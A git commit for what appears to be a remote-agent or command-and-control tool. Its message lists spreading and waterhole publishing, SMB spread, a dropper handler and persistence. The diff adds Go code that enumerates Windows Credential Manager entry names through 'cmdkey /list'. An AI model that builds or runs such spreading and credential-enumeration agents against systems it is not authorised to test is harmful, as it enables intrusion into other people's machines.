feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/credential_vault_windows.go

@@ -0,0 +1,36 @@
+//go:build windows
+
+package client
+
+import (
+	"strings"
+)
+
+func platformCredentialNames() ([]credentialEntry, string) {
+	out, err := silentCombinedOutput("cmdkey", "/list")
+	if err != nil {
+		return nil, "cmdkey failed: " + strings.TrimSpace(string(out))
+	}
+	var entries []credentialEntry
+	var current credentialEntry
+	for _, line := range strings.Split(string(out), "\n") {
+		line = strings.TrimSpace(line)
+		if strings.HasPrefix(line, "Target:") {
+			if current.Name != "" {
+				entries = append(entries, current)
+			}
+			current = credentialEntry{
+				Name:   strings.TrimSpace(strings.TrimPrefix(line, "Target:")),
+				Source: "Windows Credential Manager",
+			}
+			continue
+		}
+		if strings.HasPrefix(line, "Type:") && current.Name != "" {
+			current.Type = strings.TrimSpace(strings.TrimPrefix(line, "Type:"))
+		}
+	}
+	if current.Name != "" {
+		entries = append(entries, current)
+	}
+	return entries, "names only — secrets not exported"
+}